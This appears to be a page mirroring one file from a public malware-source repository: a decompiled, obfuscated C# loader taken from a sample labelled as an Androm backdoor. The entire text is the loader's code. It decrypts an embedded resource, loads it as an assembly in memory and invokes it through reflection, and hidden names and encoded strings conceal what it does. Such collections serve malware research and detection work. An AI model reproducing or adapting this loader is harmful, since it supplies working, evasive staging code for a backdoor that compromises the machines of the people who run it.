mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-01-19 16:48:52 +00:00
f2ac1ece55
add
60 lines
1.9 KiB
C#
60 lines
1.9 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type:
|
||
// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null
|
||
// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe
|
||
|
||
using Microsoft.VisualBasic.CompilerServices;
|
||
using System;
|
||
using System.IO;
|
||
using System.Reflection;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Runtime.Serialization.Formatters.Binary;
|
||
using System.Threading;
|
||
|
||
public sealed class \u0008
|
||
{
|
||
public static byte[] \u0002(object _param0)
|
||
{
|
||
try
|
||
{
|
||
MemoryStream serializationStream = new MemoryStream();
|
||
new BinaryFormatter().Serialize((Stream) serializationStream, RuntimeHelpers.GetObjectValue(_param0));
|
||
return serializationStream.ToArray();
|
||
}
|
||
catch (Exception ex)
|
||
{
|
||
ProjectData.SetProjectError(ex);
|
||
Exception exception = ex;
|
||
Console.WriteLine(\u000F.\u0002(580699096), (object) exception.ToString());
|
||
ProjectData.ClearProjectError();
|
||
}
|
||
return (byte[]) null;
|
||
}
|
||
|
||
public static object \u0002()
|
||
{
|
||
\u000E.\u0006 = \u0006.\u0002((byte[]) NewLateBinding.LateIndexGet(\u000E.\u0002.GetObject(\u000F.\u0002(580699127)), new object[1]
|
||
{
|
||
(object) 1
|
||
}, (string[]) null), \u000F.\u0002(580699037));
|
||
object obj;
|
||
return obj;
|
||
}
|
||
|
||
[STAThread]
|
||
public static void \u0002()
|
||
{
|
||
Thread.Sleep(0);
|
||
\u0008.\u0002();
|
||
Assembly.Load(\u000E.\u0006).GetType(\u0006.\u0002(\u000F.\u0002(580699019), \u000F.\u0002(580699062))).GetMethod(\u0006.\u0002(\u000F.\u0002(580699051), \u000F.\u0002(580698966))).Invoke((object) null, new object[2]
|
||
{
|
||
(object) \u0006.\u0002((byte[]) NewLateBinding.LateIndexGet(\u000E.\u0002.GetObject(\u000F.\u0002(580699127)), new object[1]
|
||
{
|
||
(object) 0
|
||
}, (string[]) null), \u000F.\u0002(580698955)),
|
||
(object) \u000E.\u0008
|
||
});
|
||
}
|
||
}
|